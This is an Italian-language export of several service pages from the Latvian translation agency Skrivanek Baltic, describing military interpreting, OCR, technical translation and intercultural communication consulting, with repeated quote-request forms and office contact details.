LIETI DI ASCOLTARVI E DI SVILUPPARE UNA SOLUZIONE SU MISURA PER VOI Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia INTERPRETI MILITARI Oltre alla traduzione di testi militari, Skrivanek fornisce anche servizi di interpretazione militare solitamente per: Conferenze e meeting internazionali di alto livello; Esercitazioni militari e webinar internazionali; Incontri militari; Presentazioni di equipaggiamenti militari, di macchinari militari o di veicoli da combattimento; Zone di conflitto, per l'ONU e per altri osservatori; Esposizioni militari e altri eventi del settore della difesa in tutta Europa. Skrivanek fornisce servizi di interpretazione militare in tutte le lingue dell’Unione europea, a seconda delle nazioni, istituzioni, organizzazioni e aziende dove ha luogo il progetto o l’evento. Lavoriamo con interpreti e traduttori di oltre 110 lingue che vengono accuratamente selezionati ed esaminati mediante colloqui interni di sicurezza e di dovere di diligenza e tramite controlli di documenti per garantire che il profilo sia adatto al compito tenendo conto delle caratteristiche specifiche dell’incontro in cui è necessario il servizio di interpretazione. AMBITI CORRELATI L'interpretazione militare è definita come un tipo particolare di comunicazione indiretta, interculturale, bilaterale e bilingue, svolta da un interprete militare professionista in condizioni sia normali ma più spesso estreme di servizio militare, che coinvolge diversi tipi di testi militari. L’interpretazione militare non riguarda solo l’attrezzatura, il servizio e le lingue straniere, ma include anche molti altri campi e discipline correlati, come: Medicina; Giurisprupenza; Gestione delle risorse umane; Politica e diplomazia; IT; Biochimica; Protezione civile. Skrivanek si avvale di linguisti specializzati con molti anni di esperienza alle spalle in tutti questi settori in Lettonia e in Europa. Siamo quindi in grado di realizzare grandi nonché complessi progetti di traduzione che richiedono esperienza e competenza in diversi settori e conoscenza della terminologia militare. UN TRADUTTORE MILITARE ESPERTO È LA CHIAVE PER IL SUCCESSO DI UN PROGETTO DI TRADUZIONE Chiunque lavori come traduttore militare deve avere l’esperienza e le qualifiche professionali necessarie per fornire traduzioni corrette dal punto di vista sia tecnico che di contenuto. Di fatti, i clienti che lavorano nel settore militare richiedono spesso la traduzione di complessi documenti tecnici, il che vuol dire che è essenziale avere esperienza nella traduzione di queste tipologie testuali. Skrivanek ha una notevole esperienza nella traduzione di testi per cantieri militari, per l’aeronautica militare e per l’ingegneria militare. Dopo la firma di un accordo di riservatezza, potremo informarvi in un incontro online su come lavoriamo con progetti confidenziali e fornirvi dei riferimenti. Quello medico è solo uno degli importanti ambiti della traduzione militare. Il ruolo e il lavoro di un membro dell’esercito in un contesto militare richiede un approccio completamente differente rispetto a quello dell’assistenza sanitaria comune. Sono tanti anni ormai che supportiamo questo importante ambito della medicina fornendo servizi di traduzione per Lekarz Wojskowy, il quale è pubblicato dall’Istituto medico militare in Polonia. IL RUOLO DELL'INTERPRETE NELLE ZONE DI CONFLITTO MILITARE Naturalmente, il compito principale di un interprete militare in zone di conflitto è quello di fornire supporto linguistico sia orale che scritto. Ciò che caratterizza questo ruolo è il fatto che l’interprete segue le norme del servizio militare e obbedisce a tutti gli ordini, comportandosi spesso da intermediario. L’interprete deve essere in grado di individuare e interpretare le differenze interculturali e, prima di andare in una zona di conflitto, egli deve avere tutte le informazioni disponibili circa i luoghi geografici, le date, gli orari, gli acronimi, le posizioni, i nomi e le altre lingue parlate dagli individui coinvolti che potrebbero essere utilizzati nella conversazione. AFFIDATE LE VOSTRE TRADUZIONI MILITARI AGLI SPECIALISTI DI SKRIVANEK Skrivanek è un’agenzia di traduzione internazionale che opera nel mercato europeo da ormai più di trent’anni. Abbiamo molto eseprienza nella traduzione di documenti per la NATO, per l’UE, per le istituzioni delle Nazioni unite e per le aziende che lavorano in questo settore. Il nostro team di traduttori tecnici esperti è pronto ad aiutarvi anche con i documenti, i disegni e la grafica più impegnativi. Per saperne di più sulle nostre capacità tecniche e sulla nostra esperienza, contattateci all'indirizzo ivars@skrivanek. lv, in modo da poter stipulare un accordo di riservatezza e discutere le caratteristiche specifiche del vostro progetto. GARANZIA DI SICUREZZA DELLE INFORMAZIONI Sappiamo bene che, oggigiorno, la riservatezza delle informazioni ha un’importanza fondamentale e che da essa può dipendere la sicurezza e perfino le vite di molte persone e del personale militare. Se lavorerete con Skrivanek, potete star sicuri che tutte le vostre informazioni saranno al sicuro. Skrivanek ha implementato tutte le necessarie procedure ISO per la gestione della sicurezza delle informazioni, compresa la certificazione ISO 27001, che conferma la memorizzazione dei dati che trattiamo. Quando si svolgono traduzioni militari, è spesso necessario lavorare in condizioni particolari, come ad esempio senza avere accesso ad internet. Il personale dei nostri uffici e i nostri traduttori hanno le conoscenze e l’esperienza necessaria per gestire tali progetti. Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali --- > Affidandovi a Skrivanek, avrete la garanzia che i vostri documenti verranno correttamente scannerizzati e poi tradotti in una lingua straniera a vostra scelta. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/ OCR - CHE COS’È IN PRATICA? L'OCR ( dall’inglese Optical Character Recognition ) è una tecnologia molto utilizzata in vari settori, tra cui anche quello della traduzione. Molti dei documenti su cui ogni giorno lavorano i dipendenti delle agenzie di traduzione sono ricevuti come documenti scannerizzati o in formato PDF o JPG. Questi formati sono adatti alla diffusione delle informazioni, ma non possono essere utilizzati per svolgere traduzioni o revisioni. Ed è qui che entra in gioco la tecnologia OCR. Di fatti, senza di essa sarebbe necessario impiegare molte energie e passare molto tempo a trascrivere, ad esempio, testi provenienti da documenti la cui scannerizzazione è di bassa qualità. In parole povere, il software OCR riconosce i caratteri all’interno di file non editabili e li converte in testi che possono essere modificati ed utilizzati. Esso è in grado anche di riconoscere il testo presente in immagini, di convertire tabelle non editabili, sigilli a stampo e perfino un intero file PDF in un documento di testo. In quest’ultimo caso il risultato sarà un documento PDF convertito in un file di testo aperto ed editabile, dal quale sarà poi possibile copiare parti di testo, aggiungerne altre, o creare un documento bilingue. COME SI UTILIZZA L'OCR NELLA PRATICA? Esistono due modi per lavorare con questa tecnologia ed utilizzare quindi la funzionalità OCR: installando il software OCR nel proprio computer; utilizzando un dispositivo con una funzionalità OCR integrata. Su internet si trovano dei convertitori di file immagine gratuiti che utilizzano la tecnologia OCR, ma i professionisti non consigliano di affidarsi ad essi. Il perché sarà spiegato in maniera più dettagliata alla fine di questo articolo. In entrambi i casi citati, la scansione dei file è un processo semplice che facilita il lavoro d'ufficio. La scelta di una delle due opzioni dipende dalle caratteristiche del lavoro dell’azienda, dalla tipologia di documenti e dalle richieste del cliente. Il software OCR è disponibile in versione sia gratuita che a pagamento. La versione a pagamento offre una maggiore capacità tecnica di editare un documento, così come caratteristiche aggiuntive riguardanti le grafiche o i testi in lingue straniere. Per utilizzare un software OCR, è necessario che il file che si vuole processare sia nel proprio computer. Una volta aperto il file, sarà necessario seguire le istruzioni, cosa che richiederà solo qualche click. Una volta che il file è stato processato, sarà possibile scaricarlo. Le aziende sono un po’ più inclini ad acquistare stampanti che hanno la tecnologia OCR integrata, invece di affidarsi ad un’applicazione dedicata. Di fatti, dovendo solamente scannerizzare il documento con l’opzione OCR attiva, esse rendono il processo un po’ più rapido. Il file così processato verrà subito trasferito nel computer sotto forma di testo. In entrambi i casi, la scannerizzazione del documento con la tecnologia OCR avviene in maniera molto simile e semplice. Tuttavia, la qualità del documento è molto importante: la tecnologia OCR funziona meglio quando si tratta di scannerizzare documenti chiari e con un’alta risoluzione. Cercate un servizio di riconoscimento ottico dei caratteri? Contattateci! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia I VANTAGGI DELL'OCR Oltre ad essere facile da usare, la tecnologia OCR ha anche molti altri vantaggi: Permette di risparmiare tempo - Probabilmente questo è il vantaggio più grande. Non c’è più bisogno di riscrivere i documenti per decifrare ogni informazione di un file PDF e ciò rappresenta un grande risparmio di energie e di forza lavoro. Permette di archiviare i file - la tecnologia OCR non vi aiuta solamente a creare file di testo, ma vi permette anche di salvarli in un archivio elettronico. In questo modo è anche più facile ricercare i documenti: basta inserire una o più parole chiave nel motore di ricerca per ricevere una lista di risultati. Migliora la circolazione di documenti – I documenti fanno spesso molta strada prima di raggiungere il loro destinatario. Il sistema OCR può anche aiutare a facilitare i processi di spedizione. Per di più, i documenti possono essere anche sottoposti a diversi processi in contemporanea, il che rende l’esecuzione dell’ordine molto più veloce. OCR - RICONOSCIMENTO OTTICO DEI CARATTERI PER DOCUMENTI IN LINGUA STRANIERA Nelle agenzie di traduzione e nelle aziende che lavorano con le lingue, la tecnologia OCR è molto utilizzata. Essa consente infatti di scannerizzare documenti di qualità differenti in una lingua straniera, come anche editare file PDF e materiali scritti a mano. Anche Skrivanek offre questa tecnologia. Praticamente tutti i software OCR sono in grado di riconoscere un numero impressionante di lingue straniere. Inoltre, essi leggono anche alfabeti non latini. Di conseguenza, qualsiasi carattere di una lingua straniera sarà riconosciuto. Alcuni software OCR, oltre ad essere in grado di leggere testi in una lingua straniera, danno anche la possibilità di tradurre interi frammenti di testo: basterà selezionare la lingua del documento di partenza e la lingua di di arrivo desiderata. Tuttavia, poiché la traduzione automatica di testi settoriali necessita ancora troppe correzioni ed è spesso inutilizzabile, si consiglia sempre di usufruire di servizi professionali contattando un’agenzia di traduzione. PERCHÉ I PROFESSIONISTI DOVREBBERO RICORRERE A FORNITORI ESTERNI DI SERVIZI OCR? Se volete che i vostri documenti siano della qualità migliore possibile, allora come vi affidate ad uno specialista per riparare le tubature, per imparare a suonare uno strumento musicale, o per altre comuni attività, è bene farlo anche per i servizi OCR. Il personale della nostra azienda, che lavora quotidianamente con la tecnologia OCR, sarà in grado di implementare il processo di conversione dei documenti in modo più efficace e di notare potenziali errori con più prontezza. Inoltre, possiamo aiutarvi se: il documento ha un layout speciale o gli elementi grafici hanno una posizione particolare; il materiale deve essere stampato in alta definizione; sono necessarie funzionalità OCR più avanzate (o altri software) per riuscire a copiare la versione originale del documento. SVANTAGGI DEGLI STRUMENTI OCR ONLINE Molte tecnologie OCR per la scansione dei documenti sono disponibili su internet gratuitamente. Inizialmente, questa può sembrare una soluzione abbastanza allettante, ma comporta diverse complicazioni e perfino rischi. In primo luogo, è necessario investire del tempo per trovare un sito e valutare se esso è adatto alle proprie esigenze. Infatti, non tutti i siti offrono un servizio completamente accessibile fin da subito. Inoltre, le caratteristiche del sito limitano spesso gli strumenti utilizzabili. Per di più, utilizzando gli strumenti OCR online non è possibile lavorare con file di grandi dimensioni, quindi non sarà possibile leggere testi con diverse tipologie di grafiche complesse, con caratteri di grandi dimensioni o con forme più particolari. Può anche accadere che, anche se lo strumento trovato permette di leggere il documento, potrebbe non essere poi possibile scaricare il file finale, costringendo quindi a copiare comunque il file a mano. Tuttavia, quando si utilizzano strumenti OCR online, il rischio più serio da considerare è la protezione dei dati personali e di altri dati importanti. Raramente è possibile verificare la sicurezza di un determinato sito, non permettendo quindi di avere la garanzia che, a documento processato, i dati che rappresentano un rischio per la propria sicurezza non vengano conservati; ciò che viene messo online vi rimane per sempre. Collaborando con l’agenzia di traduzione Skrivanek non avrete tutti questi problemi inutili e avrete la garanzia che i documenti vengano scannerizzati in modo corretto e poi tradotti nella lingua desiderata. Se volete saperne di più, saremo lieti di rispondere alle vostre domande! --- > Traduzioni professionali di documentazione tecnica, di software e di istruzioni per l’uso di attrezzature, nel rispetto della terminologia del settore. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/tehniska-tulkosana/ CHE COS'È LA TRADUZIONE TECNICA? La traduzione tecnica è una tipologia di traduzione specializzata che comporta un lavoro specifico, dato che è necessario tradurre in modo preciso termini settoriali, rispettare uno stile appropriato e riprodurre in maniera estremamente accurata i vari processi e soluzioni tecnologiche nella lingua di arrivo. Per tradurre documentazione tecnica, software e istruzioni per l’uso di attrezzature, è quindi necessario possedere una perfetta conoscenza della lingua di arrivo, nonché un’alta competenza nella terminologia del settore. Grazie alla globalizzazione, è in atto in tutto il mondo un significativo scambio di informazioni tecniche tra aziende IT sia locali che estere, come anche tra aziende manifatturiere, centri d’innovazione e di ricerca scientifica e designer. Inoltre, stanno aumentando le opportunità di cooperazione. Di conseguenza, nel mercato dei servizi linguistici, servizi come la traduzione tecnica stanno diventando sempre più richiesti. Per altri tipi di traduzione, maggiori informazioni sono disponibili nelle sezioni "traduzione e localizzazione di siti web", "interpretazione", "traduzione di testi legali", "traduzione di testi pubblicitari e di marketing", "traduzione di documenti generali vari" e "traduzione certificata da un notaio". FORNIAMO TRADUZIONI TECNICHE IN OLTRE 110 LINGUE Inglese, arabo, armeno, ceco, danese, francese, greco, georgiano, hindi, estone, italiano, russo, cinese, lettone, lituano, norvegese, polacco, portoghese, rumeno, sloveno, finlandese, spagnolo, ungherese, tedesco, svedese, ma anche altre lingue. Qualità e riservatezza garantite dai certificati ISOI nostri project manager parlano lettone, russo, inglese, tedesco e polacco. Il 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole. Avete bisogno della traduzione di un testo tecnico? Contattateci! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia PECULIARITÀ DELLA TRADUZIONE DI TESTI TECNICI I testi tecnici contengono spesso dei termini che non hanno un corrispondente preciso nella lingua di arrivo, perciò i traduttori devono a volte crearne di nuovi facendosi aiutare dagli esperti del settore e/o approfondendo l’argomento, così da accrescere la propria conoscenza delle innovazioni tecnologiche o delle scoperte scientifiche Nel caso in cui il termine sia utilizzato da un gruppo ristretto di specialisti, gli esperti consigliano di tradurlo con una soluzione il più simile possibile alla parola della lingua di partenza, così da evitare fraintendimenti. Uno dei modi per tradurre termini sconosciuti è quello di studiare la distribuzione internazionale della parola della lingua di partenza. Di fatti, il livello di internazionalità della parola è uno dei criteri utilizzati per l’utilizzo di prestiti in lettone. Di fatti, più è alto il numero di lingue in cui un determinato termine internazionale è utilizzato, più c'è motivo di prenderlo in prestito anche nella lingua lettone. Tali termini internazionali tendono anche a diventare sinonimi di termini lettoni, poiché affianco al termine lettone, il quale rende più semplice la comunicazione nel contesto della lingua baltica, il sinonimo internazionale facilita la comunicazione a livello internazionale. Quando si traducono testi di carattere tecnico, i traduttori devono seguire uno stile di scrittura formalmente logico, caratterizzato dall’accuratezza dei fatti riportati, dall’impersonalità e da un’esposizione delle informazioni esente da sfumature emotive. Tuttavia, queste caratteristiche non riflettono in pieno le caratteristiche dello stile scientifico che il traduttore dovrebbe seguire quando si occupa di testi di carattere tecnico. Il più delle volte la traduzione tecnica viene effettuata in forma scritta. Di fatti, questa forma è più comoda ed affidabile, dato che in questo modo sono ridotte le probabilità che venga prodotto un lavoro inaccurato. Magari questo potrebbe non essere un problema nella comunicazione quotidiana, ma nel contesto dei testi scientifici e tecnici può causare serie incomprensioni. Quando si traducono testi e documentazione tecnica, l’omissione nella lingua di arrivo di elementi grafici, segni o simboli non è ammessa, dato che potrebbe causare il travisamento del significato originale, il quale potrebbe portare a serie nonché durature conseguenze. QUALI SONO GLI ELEMENTI ESSENZIALI DELLA TRADUZIONE DI TESTI TECNICI? Per eseguire traduzioni tecniche, le competenze professionali di traduttori ed interpreti non sono abbastanza. Infatti, è anche necessario conoscere gli ambiti a cui appartiene la documentazione tecnica. Perciò per eseguire questo tipo di traduzione sono solitamente coinvolti non soltanto traduttori ed interpreti, i quali sono specializzati nella traduzione, ma anche revisori e terminologi, i quali lavorano con la terminologia e con la sua creazione. È inoltre necessario confrontarsi con rappresentanti del settore e personale accademico. Inoltre, traduttori, interpreti e revisori possono trarre vantaggio anche dall’avere esperienza professionale in un particolare ambito di specializzazione. Per di più, i traduttori e interpreti che si occupano di testi di carattere tecnico devono essere anche in grado di gestire e lavorare con un gran numero di informazioni aggiuntive, come ad esempio standard tecnici locali e internazionali. La ricerca e la verifica di informazioni in fonti affidabili è una parte essenziale del lavoro del traduttore tecnico. Questa professione si può imparare presso la facoltà online di Umanesimo e tecnologia dell’Università tecnica di Riga, la quale offre un programma di studio in traduzione tecnica. Senza la tecnologia adeguata, è impensabile cimentarsi nella traduzione tecnica. Essa può essere fornita dal cliente, specialmente nel caso in cui abbia bisogni più specifici, oppure può essere quella utilizzata dall’agenzia di traduzione. Questa tecnologia è descritta più dettagliatamente nelle sezioni "Strumenti di traduzione" e "Traduzione automatica neurale". COSA SONO I TESTI TECNICI? Un testo tecnico è un testo contenente informazioni speciali e che si rivolge ad un pubblico specifico. Esso è necessario per eseguire azioni specifiche o per trasmettere informazioni scientifiche. Perciò esso è caratterizzato da chiarezza, precisione e coerenza; esso utilizza un linguaggio professionale per spiegare e descrivere ai suoi lettori ogni minimo dettaglio ed operazione, oppure per fornire informazioni di carattere teorico circa i metodi o strumenti con cui il l’utente non ha familiarità. Il linguaggio dei testi tecnici è caratterizzato da un ampio uso di termini, abbreviazioni e numeri e il metodo di esposizione è laconico, preciso e inequivocabile. Esso è inoltre descrittivo e dimostrativo, caratteristiche legate al fatto che nel testo sono illustrati processi basati su conoscenze e fatti scientifici di varia natura, oppure sono spiegate le peculiarità dell’uso degli strumenti e dispositivi menzionati. Questo tipo di documentazione è il risultato finale del processo di scrittura tecnica, oppure un insieme già preparato di documenti relativi alle caratteristiche, ai parametri e all’applicazione di un prodotto tecnico che deve essere ancora creato o che è già in uso. I testi tecnici possono trattare molti ambiti della vita umana, partendo da relativamente semplici istruzioni per l’uso di apparecchiatura domestica, fino a progetti militari o di ingegneria di importanza nazionale. Sono in molti a credere al mito che la documentazione tecnica sia soltanto un grande numero di testi che possono essere letti e compresi da chiunque, anche senza avere alle spalle una formazione specifica, ma non è così. È interessante notare che, oggigiorno, la documentazione tecnica è spesso integrata a dati audiovisivi, come ad esempio proiezioni video o elementi sonori, i quali semplificano in modo significativo la percezione e l’applicazione delle informazioni esposte nel testo. I testi di questo tipo devono inoltre essere formali, pragmatici e il più precisi possibile. Essi devono inoltre utilizzare una terminologia uniforme e dati numerici, calcoli e misurazioni accuratamente verificati. TIPI DI TRADUZIONE DI TESTI TECNICI Traduzioni di progetti tecnici, specifiche tecniche, certificati e istruzioni metodologiche. Traduzioni di documentazione edilizia. Traduzioni di istruzioni per l'uso e di cataloghi di attrezzature e dispositivi. Traduzioni delle istruzioni di montaggio e d'uso. Traduzioni di manuali di comando e di controllo. Traduzioni delle descrizioni delle tecnologie speciali di vari settori. Traduzioni di piani di produzione. Traduzioni di presentazioni tecniche. Traduzioni di altri documenti relativi al settore specifico. TRADUZIONI TECNICHE In generale, la traduzione di testi tecnici tende ad opporsi a quella dei testi di narrativa, di saggistica e a quella di altri testi creativi, in quanto per tradurre testi tecnici la libera interpretazione del testo non è permessa. Il termine "traduzione tecnica" si riferisce al trasferimento e allo scambio di informazioni tecniche specializzate da una lingua all'altra tra persone che parlano lingue diverse. Essa è molto simile alla traduzione di testi scientifici e di materiali di carattere tecnico, poiché in ambo i casi c’è un largo uso di terminologia tecnica e scientifica. Nella traduzione di testi tecnici, il compito del traduttore è quello di adattare testi appartenenti ad ambiti tecnici specifici e ristretti al pubblico di riferimento nella lingua di arrivo. Considerando il rapido sviluppo tecnologico, quando traduce questo tipo di testi, il traduttore deve spesso lavorare con concetti e termini di cui è complesso trovare un equivalente nella lingua di arrivo. Nel lettone, oggigiorno sono molti i termini tecnici che provengono da testi tecnici in inglese e che entrano in uso nella comunicazione di tutti i giorni molto velocemente, senza dare modo a terminologi e linguisti di trovare un equivalente appropriato, causando quindi nella società molte discussioni circa la correttezza del linguaggio e la professionalità dei traduttori. Sono molti i ricercatori, linguisti specializzati, traduttori ed interpreti ad ammettere che, quando la traduzione tecnica viene comparata alla traduzione di testi di carattere tecnico o scientifico, è davvero molto difficile, se non impossibile, distinguere tra queste due tipologie di traduzione. --- > Potreste non avere una seconda possibilità per fare una prima impressione. Prenotate una consulenza linguistica e di comunicazione culturale. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/valodas-un-starpkulturu-komunikacijas-konsultacijas/ Potreste non avere una seconda possibilità per fare una prima impressione. Quando si vendono i propri prodotti e servizi nei mercati stranieri, specialmente quando lo si fa online, si corrono sempre rischi commerciali. C’è un detto: “non giudicare un libro dalla copertina”. Tuttavia, quando provate ad espandere la vostra attività in un nuovo mercato straniero, la prima impressione che voi e la vostra attività fate è molto importante. Di conseguenza, la strategia comunicativa utilizzata per i propri beni e servizi deve essere chiara e personalizzata al cliente che si vuole raggiungere, tenendo conto anche delle differenze culturali. Nella letteratura aziendale ci sono molti esempi di slogan pubblicitari fallimentari che hanno portato al fallimento di startup. Alcuni esempi: Sapevate che in India uno dei piatti più famosi per fare colazione è il Poha? Qualche tempo fa, Daimler è entrata nel mercato cinese con il un nuovo marchio: Bensi. Peccato che in cinese Bensi vuol dire “affrettarsi a morire”; Quando Nokia decise di chiamare il suo ultimo cellulare Lumia, gli addetti al marketing fecero un grosso errore a non controllare come la parola potesse essere tradotta in altre lingue. Di fatti, quando le pubblicità del telefono furono tradotte in spagnolo, saltò fuori che la parola “lumia” vuol dire “prostituta”. Nella pubblicità in lingua inglese del dentifricio Pepsodent veniva dichiarato che il prodotto avrebbe sbiancato i denti di chi lo utilizzava. Tuttavia, la campagna pubblicitaria suscitò gran clamore nel sud-est asiatico. Qui infatti i locali utilizzano la noce di areca apposta per annerire i propri denti; avere denti neri è considerato parte dei loro standard di bellezza. Quindi, prima di entrare in un nuovo mercato straniero, è fondamentale studiare come il nome del prodotto e il messaggio del brand saranno percepiti. Di fatti, la lingua e le differenze culturali possono causare nella società reazioni inaspettate e persino imprevedibili, anche in un mercato di dimensioni ridotte come quello lettone. Prima di avviare un’attività in un mercato straniero, è bene assicurarsi che la strategia comunicativa che si vuole utilizzare segua le seguenti raccomandazioni: il messaggio scelto non deve essere troppo complesso e devono essere usate solo traduzioni di alta qualità e materiali di marketing localizzati ed adattati; non devono essere utilizzate espressioni idiomatiche e parole colloquiali. Ad esse bisogna preferire un vocabolario di facile e veloce comprensione che, se necessario, il lettore può facilmente ricordare. è necessario avere a mente i costumi locali e le norme culturali. Solo così si possono evitare errori che possono confondere il destinatario e interpretazioni di concetti non volute. trasmettere il messaggio più importante nella prima frase poiché saranno pochi i lettori che si spingeranno oltre ad essa. lo slogan del prodotto non deve superare le 5 parole; il testo scritto deve essere coerente. Uno dei servizi offerti da Skrivanek Baltic è la consulenza sulla comunicazione interculturale, la quale fornisce ai clienti un supporto professionale durante l'espansione in nuovi mercati. Analizziamo ogni progetto adottando il punto di vista del cliente target. Nel caso in cui esso non sia stato ancora definito, vi aiutiamo a farlo, così che il linguista specializzato possa identificare con accuratezza le soluzioni più efficaci ai problemi linguistici e di comunicazione interculturale. I nostri specialisti valutano la strategia comunicativa del brand, i nomi del prodotto e dei servizi, i materiali di vendita e le descrizioni dei prodotti e danno un feedback su come potrebbero essere percepite dal mercato di riferimento, indicando le possibili peculiarità linguistiche o culturali. Studiamo il tono del vostro messaggio, vi aiutiamo a scegliere il modo adeguato di rivolgersi al cliente e garantiamo che il contenuto rispetti le tradizioni locali. In questo modo, vi aiutiamo ad evitare reazioni negative da parte dei clienti, compresi quelli online, dato che il nome del vostro brand e del vostro prodotto appariranno nei motori di ricerca locali. Le nostre consulenze nell’ambito dell'adattamento e della localizzazione includono: analisi linguistica di loghi aziendali, slogan e nomi di prodotti; identificazione di parole e frasi potenzialmente offensive o ambigue; parafrasi e ricerca di sinonimi; analisi delle somiglianze e delle associazioni del logo aziendale con altri loghi del mercato di riferimento; valutazione dell'adeguatezza dei messaggi al pubblico; analisi della conformità delle immagini, dei colori e di altri elementi visivi alle tradizioni culturali locali. Nel nostro team lavorano linguisti ed esperti di tutto il mondo, dandoci accesso alle conoscenze fondamentali di qualsiasi mercato globale. Qualità e riservatezza garantite dai certificati ISOI nostri project manager parlano lettone, russo, inglese, tedesco e polacco. Il 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole. AVETE BISOGNO DI UNA CONSULENZA SULLA COMUNICAZIONE LINGUISTICA INTERCULTURALE? CONTATTATECI! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia --- > Per farci qualsiasi domanda o per ricevere un preventivo gratuito, contattateci con il modulo di contatto! | Lāčplēša 87C, Riga | birojs@skrivanek.lv - Published: 2023-12-19 - Modified: 2024-09-04 - URL: https://skrivanek.lv/kontakti/ - Translation Priorities: Optional if (typeof(gem_fix_fullwidth_position) == "function") { gem_fix_fullwidth_position(document. getElementById("fullwidth-block-6887302860221")); } RICHIEDI UN PREVENTIVO / FACCI UNA DOMANDA Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia CONTATTI - SKRIVANEK BALTIC  Lāčplēša iela 87C, Riga, Lettonia, LV-1011 (Waze) Lun-ven dalle 9. 00 alle 17. 30 (UTC+2)(+371) 26 382 680 (WhatsApp) SERVIZI DI TRADUZIONE E DI INTERPRETAZIONE birojs@skrivanek. lv(+371) 67 240 364 (Lun-Ven dalle 9. 00 alle 17. 30)(+371) 26 181 355 (Lun-Ven dalle 9. 00 alle 17. 30) SCUOLA DI LINGUE 